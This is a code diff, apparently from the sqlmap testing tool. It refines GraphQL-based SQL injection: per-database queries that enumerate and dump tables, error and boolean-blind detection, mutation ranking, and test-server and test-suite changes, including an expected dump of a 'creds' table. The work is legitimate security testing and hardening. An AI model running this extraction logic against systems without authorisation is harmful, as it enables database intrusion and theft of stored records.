diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index e1a43886457..e82f3850647 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -266,6 +266,10 @@ def _hql_atom(atom): if match: return match.group(1) == match.group(2) + match = re.match(r"^(\d+)\s*=\s*(\d+)$", atom) # numeric literal 1=1 / 1=2 + if match: + return match.group(1) == match.group(2) + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' if match: return HQL_RECORD["name"] == match.group(1) diff --git a/lib/core/option.py b/lib/core/option.py index a6436693278..816c698891a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2726,6 +2726,14 @@ def _checkTor(): logger.info(infoMsg) def _basicOptionValidation(): + _nonSqlTechniques = [name for name, enabled in ( + ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled] + if len(_nonSqlTechniques) > 1: + errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) + errMsg += "each is a self-contained scan for a different back-end class - pick one" + raise SqlmapSyntaxException(errMsg) + if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8433981815b..e7b8a3cf4b3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.176" +VERSION = "1.10.7.180" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1169,6 +1169,11 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 +# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a +# working injection point (a schema-validated or non-reflected first node otherwise hides the finding); +# bounds the request cost on documents with many text nodes +XXE_LOCATION_SWEEP_MAX = 12 + # HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based # detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). # A match means the injection reached the ORM query parser (not the SQL layer), diff --git a/lib/core/testing.py b/lib/core/testing.py index 37f20aef01b..c8289a29ebb 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -92,7 +92,7 @@ def vulnTest(tests=None, label="vuln"): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py index 0ebe75bcd46..a4576f03cc3 100644 --- a/lib/techniques/graphql/inject.py +++ b/lib/techniques/graphql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import json import re import time @@ -30,6 +29,12 @@ from lib.core.settings import NOSQL_ERROR_REGEX from lib.core.settings import UPPER_RATIO_BOUND from lib.request.connect import Connect as Request +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import decide as _decide +from lib.utils.nonsql import Decision as _Decision +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import resolveBit from lib.utils.xrange import xrange from thirdparty.six import unichr as _unichr @@ -86,6 +91,10 @@ # Cache for INPUT_OBJECT field definitions, populated during schema walks _inputFields = {} +# Cache for ENUM value names (first entry used when synthesizing a required enum argument), populated +# during schema walks - a required enum must be rendered as a bare enum identifier, never a quoted string +_enumValues = {} + # --- Backend SQL dialect table ---------------------------------------------- @@ -101,7 +110,55 @@ # would silently truncate (e.g. MySQL group_concat_max_len=1024). Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", "banner", "currentUser", "currentDb", - "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row")) + "tableFrom", "tableCol", "columnFrom", "columnCol", "paginate", "row", + "fromIdent")) + + +def _sqlLiteral(value): + # A value embedded as a SQL STRING LITERAL (catalog WHERE clauses, OBJECT_ID('..'), + # pragma_table_info('..')): standard single-quote doubling, safe on all four back-ends. Without it + # a table/column name containing a quote breaks the catalog query and the dump silently yields + # nothing. + return "'%s'" % getUnicode(value).replace("'", "''") + + +def _identDouble(name): # SQLite / PostgreSQL: double-quoted, preserves case, embedded '"' doubled + return '"%s"' % getUnicode(name).replace('"', '""') + + +def _identBracket(name): # Microsoft SQL Server: [bracketed], embedded ']' doubled + return "[%s]" % getUnicode(name).replace("]", "]]") + + +def _identBacktick(name): # MySQL: `backticked`, embedded '`' doubled + return "`%s`" % getUnicode(name).replace("`", "``") + + +def _qualifiedIdent(name, quoter): + # Quote a (possibly schema-qualified) catalog table name for a FROM clause: split a "schema.table" + # on the FIRST dot and quote each part with the dialect identifier syntax; quote an unqualified + # name whole. Schema-qualification lets PostgreSQL/MSSQL dump tables outside the default schema, + # which an unqualified name cannot reference. + if "." in name: + schema, _, table = name.partition(".") + return "%s.%s" % (quoter(schema), quoter(table)) + return quoter(name) + + +def _sqliteFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mysqlFrom(table): + return _identBacktick(table) # MySQL enumerates the current database only (unqualified) + + +def _pgsqlFrom(table): + return _qualifiedIdent(table, _identDouble) + + +def _mssqlFrom(table): + return _qualifiedIdent(table, _identBracket) def _limitOffset(col, offset): @@ -116,24 +173,55 @@ def _offsetFetch(col, offset): # the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently # truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping # rows without warning; per-row extraction is unbounded and dialect-uniform. +# Every row query orders by the (single, concatenated) output column - `ORDER BY 1` - so a given +# offset refers to the SAME physical row across the length probe AND every per-character probe. +# Without a stable ordering, offset N could bind to different records between requests and the +# recovered cell would be a fabricated composite of several rows (the concatenation is a total order; +# genuinely identical rows are indistinguishable anyway, so uniqueness is not required for stability). +# In a row query the table and every column are IDENTIFIERS, so they are quoted with the dialect's +# identifier syntax - otherwise a reserved word, a space, a mixed-case PostgreSQL name, or a name with +# a quote character produces a broken query and the dump silently drops that table/column. `table` may +# already be a schema-qualified, pre-quoted identifier from the catalog (PostgreSQL/MSSQL), in which +# case it is used verbatim. def _sqliteRow(columns, table, offset): - body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _sqliteFrom(table), offset) def _mysqlRow(columns, table, offset): - body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns)) - return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset) + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _identBacktick(_) for _ in columns)) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT %d,1)" % (body, _mysqlFrom(table), offset) def _pgsqlRow(columns, table, offset): - body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset) + body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _identDouble(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 LIMIT 1 OFFSET %d)" % (body, _pgsqlFrom(table), offset) def _mssqlRow(columns, table, offset): - body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns) - return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset) + body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _identBracket(_) for _ in columns) + return "(SELECT %s FROM %s ORDER BY 1 OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, _mssqlFrom(table), offset) + + +def _sqliteColumnFrom(table): + return "FROM pragma_table_info(%s)" % _sqlLiteral(table) + + +def _mysqlColumnFrom(table): + # scope to the active database: information_schema.columns holds the same table name across every + # schema, so an unscoped lookup would merge unrelated columns and then dump nonexistent fields + return "FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name=%s" % _sqlLiteral(table) + + +def _pgsqlColumnFrom(table): + # `table` is the catalog's "schema.table"; look columns up by the split schema + table literals + schema, _, tbl = table.partition(".") if "." in table else ("public", "", table) + return "FROM information_schema.columns WHERE table_schema=%s AND table_name=%s" % (_sqlLiteral(schema), _sqlLiteral(tbl)) + + +def _mssqlColumnFrom(table): + # OBJECT_ID() resolves a "schema.table" string directly, so the qualified name is passed as a literal + return "FROM sys.columns WHERE object_id=OBJECT_ID(%s)" % _sqlLiteral(table) DIALECTS = OrderedDict(( @@ -147,10 +235,11 @@ def _mssqlRow(columns, table, offset): currentDb=None, tableFrom="FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%'", tableCol="name", - columnFrom=lambda table: "FROM pragma_table_info('%s')" % table, + columnFrom=_sqliteColumnFrom, columnCol="name", paginate=_limitOffset, - row=_sqliteRow)), + row=_sqliteRow, + fromIdent=_sqliteFrom)), ("Microsoft SQL Server", Dialect( fingerprint="@@VERSION LIKE '%Microsoft%'", length=lambda expr: "LEN((%s))" % expr, @@ -159,12 +248,14 @@ def _mssqlRow(columns, table, offset): banner="@@VERSION", currentUser="SYSTEM_USER", currentDb="DB_NAME()", - tableFrom="FROM sys.tables", - tableCol="name", - columnFrom=lambda table: "FROM sys.columns WHERE object_id=OBJECT_ID('%s')" % table, + # schema-qualify so tables outside dbo are enumerable and dumpable (SCHEMA_NAME + name) + tableFrom="FROM sys.tables t", + tableCol="CONCAT(SCHEMA_NAME(t.schema_id),'.',t.name)", + columnFrom=_mssqlColumnFrom, columnCol="name", paginate=_offsetFetch, - row=_mssqlRow)), + row=_mssqlRow, + fromIdent=_mssqlFrom)), ("PostgreSQL", Dialect( fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", length=lambda expr: "LENGTH((%s))" % expr, @@ -173,12 +264,14 @@ def _mssqlRow(columns, table, offset): banner="version()", currentUser="CURRENT_USER", currentDb="CURRENT_DATABASE()", - tableFrom="FROM information_schema.tables WHERE table_schema='public'", - tableCol="table_name", - columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + # enumerate every user schema (not just public) and carry schema+table so dumps qualify + tableFrom="FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog','information_schema')", + tableCol="table_schema||'.'||table_name", + columnFrom=_pgsqlColumnFrom, columnCol="column_name", paginate=_limitOffset, - row=_pgsqlRow)), + row=_pgsqlRow, + fromIdent=_pgsqlFrom)), ("MySQL", Dialect( fingerprint="@@VERSION_COMMENT IS NOT NULL", length=lambda expr: "CHAR_LENGTH((%s))" % expr, @@ -189,10 +282,11 @@ def _mssqlRow(columns, table, offset): currentDb="DATABASE()", tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", tableCol="table_name", - columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnFrom=_mysqlColumnFrom, columnCol="column_name", paginate=_limitOffset, - row=_mysqlRow)), + row=_mysqlRow, + fromIdent=_mysqlFrom)), )) @@ -209,8 +303,6 @@ def _mssqlRow(columns, table, offset): # --- Helpers ---------------------------------------------------------------- -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _chunks(sequence, size): @@ -282,10 +374,16 @@ def _gqlSend(endpoint, query, variables=None): kb.postHint = POST_HINT.JSON page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), raise404=False, silent=True) - except Exception: - return "", 0 + except Exception as ex: + # a transport failure must NOT become an empty body: two failed "true" requests would be + # byte-identical (ratio 1.0) and "differ" from a succeeding false request -> a fabricated + # confirmation. Return None so the oracles (which reject None) can never decide on it. + logger.debug("GraphQL request failed: %s" % getUnicode(ex)) + return None, 0 finally: kb.postHint = oldPostHint + if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample + return None, code return page or "", code @@ -347,6 +445,29 @@ def _slotValue(page): return json.dumps(data, sort_keys=True) +def _hasErrors(page): + # True when the GraphQL envelope carries a non-empty `errors` array. A resolver error yields the + # SAME `data:null` as a genuine false predicate, so an error-bearing response is UNKNOWN for a + # boolean oracle - it must not be classified as a false bit (that would fabricate an oracle / + # corrupt extraction). HTTP status is 200 in this case, so only the envelope reveals it. + doc = _parseJSON(page) + return isinstance(doc, dict) and bool(doc.get("errors")) + + +def _aliasErrored(page, alias): + # True when a batched response reports a GraphQL error whose `path` starts at `alias` (that alias's + # value is unknown, not a clean false), or when the alias key is absent from `data`. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return True + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if isinstance(path, list) and path and path[0] == alias: + return True + data = doc.get("data") + return not (isinstance(data, dict) and alias in data) + + # --- Endpoint detection ----------------------------------------------------- def _detectEndpoint(baseUrl, probePaths=True): @@ -479,6 +600,7 @@ def _extractSlots(schema): # scalar/injectable argument as a Slot _inputFields.clear() + _enumValues.clear() slots = [] typeByName = {} @@ -490,6 +612,8 @@ def _extractSlots(schema): (f["name"], f.get("type", {}), f.get("defaultValue")) for f in (t.get("inputFields") or []) ] + elif t.get("kind") == "ENUM": + _enumValues[t["name"]] = [e["name"] for e in (t.get("enumValues") or []) if e.get("name")] queryName = (schema.get("queryType") or {}).get("name") mutationName = (schema.get("mutationType") or {}).get("name") @@ -541,6 +665,57 @@ def _extractSlots(schema): return slots +# Mutation field-name heuristics: read-like mutations (login/verify/token/...) are safe to probe first; +# write-like ones (create/update/delete/...) are ranked last so a usable oracle is usually found on a +# non-persisting resolver before any write-like field is touched. +_READ_LIKE_MUTATIONS = ("login", "authenticate", "auth", "verify", "validate", "preview", "check", + "token", "signin", "session", "lookup", "search", "get", "fetch", "read", "resolve") +_WRITE_LIKE_MUTATIONS = ("create", "update", "delete", "insert", "save", "set", "add", "remove", + "register", "upsert", "destroy", "modify", "edit", "write", "put", "patch", "drop") +# argument names that request a non-persisting / dry-run execution - forced true when present so an +# automatic mutation probe avoids committing +_DRYRUN_ARGS = ("dryrun", "dry_run", "preview", "simulate", "validateonly", "validate_only", "noop", "no_op") + + +def _mutationTokens(fieldName): + # split camelCase and snake/kebab/space so a mixed name (updateUserPreview) yields distinct tokens + # (['update','user','preview']) - a read-like substring must NOT mask a write-like one hidden in the + # same name. + spaced = re.sub(r"([a-z0-9])([A-Z])", r"\1 \2", getUnicode(fieldName)) + return [t for t in re.split(r"[^A-Za-z0-9]+", spaced.lower()) if t] + + +def _mutationImpact(fieldName): + # WRITE-like WINS: any name whose tokens contain a write keyword is write-like, even if it also + # contains a read-like one (updateUserPreview / previewDeleteUser / getAndDeleteUser / createSession). + # Only a name with NO write token and at least one read token is read-like; anything else is unknown. + tokens = _mutationTokens(fieldName) + matches = lambda kws: any(any(kw in tok for kw in kws) for tok in tokens) + if matches(_WRITE_LIKE_MUTATIONS): + return "write-like" + if matches(_READ_LIKE_MUTATIONS): + return "read-like" + return "unknown" + + +def _rankMutations(slots): + order = {"read-like": 0, "unknown": 1, "write-like": 2} + return sorted(slots, key=lambda s: order[_mutationImpact(s.fieldName)]) + + +def _dryRunVerified(slot, endpoint): + """Whether this write-like mutation's NON-PERSISTENCE is automatically PROVEN, so it may be used as + the bulk blind-enumeration transport (hundreds/thousands of executions). Forcing an argument named + dryRun/preview true is NOT proof - a resolver may ignore, invert, or repurpose the name. A sound + proof needs an observed side-effect check (a schema-backed validate-only result that confirms no + commit, a rollback/transaction id, a distinct preview result type, or a compensating rollback), none + of which can be established reliably from introspection alone here. Returning False keeps write-like + mutations DETECTED and REPORTED but off the bulk-enumeration path - the conservative, honest default; + it is the hook to wire a real behavioural dry-run confirmation when the schema/environment supports + one.""" + return False + + def _isInputObject(typeObj, typeByName): name = _leafName(_unwrapType(typeObj)) if not name: @@ -550,17 +725,27 @@ def _isInputObject(typeObj, typeByName): def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, - returnKind, returnType, returnSel, typeByName, slots): - # Recurse one level into an input object's fields + returnKind, returnType, returnSel, typeByName, slots, _depth=0, _seen=None): + # Recurse into an input object to ARBITRARY depth, emitting a Slot for every scalar leaf reachable + # by a dotted path (input.filter.credentials.username). Bounded by depth and a visited-type set so a + # self-/mutually-recursive input schema cannot loop forever. inputType = _isInputObject(typeObj, typeByName) - if not inputType: + if not inputType or _depth > 5: return + typeName = _leafName(_unwrapType(typeObj)) + _seen = _seen or set() + if typeName in _seen: + return + _seen = _seen | {typeName} for fld in (inputType.get("inputFields") or []): + path = "%s.%s" % (argName, fld["name"]) strategy = _classifyArg(fld.get("type", {})) if strategy: slots.append(Slot(op, rootName, fieldName, allArgs, - "%s.%s" % (argName, fld["name"]), strategy, - returnKind, returnType, returnSel)) + path, strategy, returnKind, returnType, returnSel)) + elif _isInputObject(fld.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, path, fld.get("type", {}), + returnKind, returnType, returnSel, typeByName, slots, _depth + 1, _seen) def _scalarFields(objType, typeByName, depth=0): @@ -602,14 +787,21 @@ def _fieldFragment(slot, value, alias=None): for argName, argType, default in slot.allArgs: if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): if "." in slot.targetArg: - outer, inner = slot.targetArg.split(".", 1) + # target is a path into a (possibly deeply) nested input object: render the whole + # containing tree down to the injected leaf, e.g. input:{filter:{credentials:{username:VALUE}}} + outer = slot.targetArg.split(".")[0] if argName == outer: - renderedArgs.append("%s: {%s}" % (outer, _renderInputObj(slot, value))) + outerType = _leafName(_unwrapType(argType)) + rest = slot.targetArg.split(".")[1:] + renderedArgs.append("%s: {%s}" % (outer, _renderInputPath(outerType, rest, value, slot.strategy))) continue renderedArgs.append(_renderArg(argName, value, slot.strategy)) + elif argName.lower().replace("-", "_") in _DRYRUN_ARGS and _leafName(_unwrapType(argType)) == "Boolean": + renderedArgs.append("%s:true" % argName) # force a dry-run/no-op flag so a mutation probe avoids committing else: - siblingStrategy = _classifyArg(argType) or "string" - renderedArgs.append(_renderArg(argName, _defaultForArg(argType, default), siblingStrategy)) + sibling = _renderSibling(argName, argType, default) + if sibling is not None: # None => optional arg with no default -> omitted + renderedArgs.append(sibling) sel = slot.returnSel if sel is None: @@ -655,72 +847,134 @@ def _renderArg(name, value, strategy): return '%s:"%s"' % (name, _escapeGraphQLString(value)) -def _renderInputObj(slot, value): - # Render an input-object literal with the target inner field set to `value` - # and all required sibling fields filled with safe defaults - _, inner = slot.targetArg.split(".", 1) - - outerArg = slot.targetArg.split(".")[0] - inputFields = [] - for aName, aType, aDefault in slot.allArgs: - if aName == outerArg: - objName = _leafName(_unwrapType(aType)) - if objName: - inputFields = _inputFields.get(objName, []) - break - +def _renderInputPath(inputTypeName, pathParts, value, strategy, _seen=None): + """Render the body of an input-object literal for `inputTypeName`, placing `value` at the field path + `pathParts` (one or more levels deep) and filling required sibling fields with synthesized defaults. + Descends recursively into nested input objects - e.g. path ['filter','credentials','username'] yields + `filter:{credentials:{username:VALUE}}` alongside any required siblings at each level. Depth/cycle + bounded via `_seen`.""" + _seen = _seen or set() + fields = _inputFields.get(inputTypeName, []) + target = pathParts[0] if pathParts else None parts = [] - for fldName, fldType, fldDefault in inputFields: - if fldName == inner: - fldStrategy = _classifyArg(fldType) or "string" - parts.append(_renderArg(inner, value, fldStrategy)) + for fldName, fldType, fldDefault in fields: + if fldName == target: + if len(pathParts) == 1: # leaf: the injected value goes here + parts.append(_renderArg(fldName, value, _classifyArg(fldType) or strategy or "string")) + else: # descend into the nested input object + innerName = _leafName(_unwrapType(fldType)) + if innerName and innerName not in _seen: + parts.append("%s:{%s}" % (fldName, _renderInputPath(innerName, pathParts[1:], value, strategy, _seen | {innerName}))) + else: + parts.append("%s:{}" % fldName) # cycle / unknown inner type -> best-effort empty else: - fldStrategy = _classifyArg(fldType) or "string" - parts.append(_renderArg(fldName, _defaultForArg(fldType, fldDefault), fldStrategy)) + sibling = _renderSibling(fldName, fldType, fldDefault) + if sibling is not None: # omit optional input-object fields with no default + parts.append(sibling) return ", ".join(parts) -def _defaultForArg(argType, default): - # Return a safe GraphQL default value for a field argument: the schema - # default if present, otherwise a type-appropriate sentinel - if default is not None: - return default - strategy = _classifyArg(argType) +def _leafKind(chain): + # kind of the innermost NAMED type in an unwrapped type chain (SCALAR / ENUM / INPUT_OBJECT / ...) + for kind, name in reversed(chain): + if name: + return kind + return None + + +def _nativeSentinel(argType, depth=0, seen=None): + # Synthesize a REQUIRED argument's value in NATIVE GraphQL syntax by type kind. A one-size sentinel + # (`0`/`"x"`) is invalid for Boolean/Enum/List/input-object and makes the whole query fail to parse, + # so resolver execution (and thus injection) is never reached. A list wrapper takes an empty list + # (valid for a NON_NULL list); a bool is `false`; an int/float is `0`; an enum is a bare enum + # identifier (first schema value). A required INPUT_OBJECT is built RECURSIVELY - its required inner + # fields are populated (schema defaults verbatim, else synthesized) so a nested-required schema like + # SearchInput!{ filter: FilterInput!{ term: String! } } yields a VALID benign query instead of a + # bare `{}` the server rejects. Recursion is bounded by depth and a visited-type set (cycle safety). + chain = _unwrapType(argType) + if any(kind == "LIST" for kind, _ in chain): + return "[]" + named = _leafName(chain) + kind = _leafKind(chain) + if kind == "ENUM": + values = _enumValues.get(named) or [] + return values[0] if values else '"x"' # bare enum identifier, not a quoted string + if kind == "INPUT_OBJECT": + seen = seen or set() + if depth >= 5 or named in seen: # bound depth / break recursive input-type cycles + return "{}" + seen = seen | {named} + parts = [] + for fName, fType, fDefault in _inputFields.get(named, []): + if fDefault is not None: + parts.append("%s:%s" % (fName, fDefault)) # schema default is a literal - verbatim + elif (fType or {}).get("kind") == "NON_NULL": # populate ONLY required inner fields + parts.append("%s:%s" % (fName, _nativeSentinel(fType, depth + 1, seen))) + return "{%s}" % ", ".join(parts) + strategy = SCALAR_STRATEGY.get(named) if strategy == "numeric": - return 0 - return "x" + return "0" + if named == "Boolean": + return "false" + return '"x"' + + +def _renderSibling(name, argType, default): + # Render a sibling argument we are NOT injecting into. Returns None to OMIT the argument (the caller + # drops it). An OPTIONAL argument with no schema default is OMITTED rather than filled with a bogus + # sentinel - filling e.g. an optional Boolean/Enum/List with `"x"` made the whole query invalid and + # caused widespread false negatives (resolver execution never reached). A schema-provided + # defaultValue is ALREADY a serialized GraphQL literal per the introspection spec (bool `true`, enum + # `ADMIN` unquoted, list `[1, 2]`, object `{a: 1}`, null, number, or a quoted string) and is emitted + # VERBATIM (never re-quoted). A REQUIRED (NON_NULL) argument with no default is synthesized in native + # syntax by kind (see _nativeSentinel). + if default is not None: + return "%s:%s" % (name, default) + if (argType or {}).get("kind") != "NON_NULL": + return None # optional + no default -> omit it + return "%s:%s" % (name, _nativeSentinel(argType)) # --- Detection -------------------------------------------------------------- def _detectError(slot, endpoint): - # Error-based detection: inject SQL/NoSQL error-inducing payloads and check - # whether the GraphQL `errors` envelope carries a known DBMS signature + # Error-based detection with a NEGATIVE CONTROL. A GraphQL endpoint can already return a DBMS + # exception for reasons unrelated to our probe (e.g. a required argument we rendered incorrectly), + # so a raw "signature present in the injected response" test declares injectable regardless of + # influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the + # injected value, and REPRODUCE before accepting it. + benign = _buildQuery(slot, "1") + basePage = _gqlSend(endpoint, benign)[0] if benign else None + baseErr = _errorText(basePage) or "" + + def _appearsOnlyAfterInjection(query, matcher): + # matcher(text) -> re.Match or None; True only if it hits the injected response, is absent + # from the benign baseline, and reproduces on a second injected request + err = _errorText(_gqlSend(endpoint, query)[0]) + if not err or not matcher(err) or matcher(baseErr): + return None + err2 = _errorText(_gqlSend(endpoint, query)[0]) + return matcher(err) if (err2 and matcher(err2)) else None for payload in _SQL_ERROR_PAYLOADS: query = _buildQuery(slot, payload) if not query: continue - page, code = _gqlSend(endpoint, query) - err = _errorText(page) - if not err: - continue for pattern in ERROR_PARSING_REGEXES: - m = re.search(pattern, err) + m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t)) if m: - return "error-based", m.group("result") if "result" in m.groupdict() else err[:200] + detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200] + return "error-based", detail, payload - # Try NoSQL error signatures for payload in (_NOSQL_NE, _NOSQL_IN): query = _buildQuery(slot, payload) if not query: continue - page, code = _gqlSend(endpoint, query) - err = _errorText(page) - if err and re.search(NOSQL_ERROR_REGEX, err): - return "error-based", err[:200] + m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t)) + if m: + return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload - return None, None + return None, None, None def _detectBoolean(slot, endpoint): @@ -728,30 +982,48 @@ def _detectBoolean(slot, endpoint): # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. if slot.strategy == "numeric": - return None, None + return None, None, None trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) if not trueQuery or not falseQuery: - return None, None + return None, None, None truePage, _ = _gqlSend(endpoint, trueQuery) truePage2, _ = _gqlSend(endpoint, trueQuery) falsePage, _ = _gqlSend(endpoint, falseQuery) + falsePage2, _ = _gqlSend(endpoint, falseQuery) + + # a None page is a transport failure / blocked (WAF/5xx) sample - never an oracle observation. + # Rejecting it here stops the classic FP where two failed true requests are byte-identical and + # "differ" from a succeeding false request. + if any(p is None for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None + + # a GraphQL resolver ERROR yields the same `data:null` as a genuine false predicate, so a false + # payload that merely trips a stable resolver error would look like a boolean oracle. Reject any + # pair where either side carries `errors` - that case belongs to _detectError, not boolean. + if any(_hasErrors(p) for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None trueVal = _slotValue(truePage) trueVal2 = _slotValue(truePage2) falseVal = _slotValue(falsePage) + falseVal2 = _slotValue(falsePage2) + + # BOTH sides must independently reproduce (not just the true side) + if _ratio(falseVal, falseVal2) < (1.0 - _MIN_RATIO_DIFF): + return None, None, None # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge # from the false response. A single true-vs-false compare turns page jitter into a # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) # rejects it, since a jittery page also fails to reproduce against itself. if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): - return "boolean-based blind (string)", truePage + return "boolean-based blind (string)", truePage, _SQL_BOOLEAN_TRUE - return None, None + return None, None, None def _detectTime(slot, endpoint): @@ -759,37 +1031,49 @@ def _detectTime(slot, endpoint): # elapsed time against a baseline. Returns (oracleType, threshold, dbms). 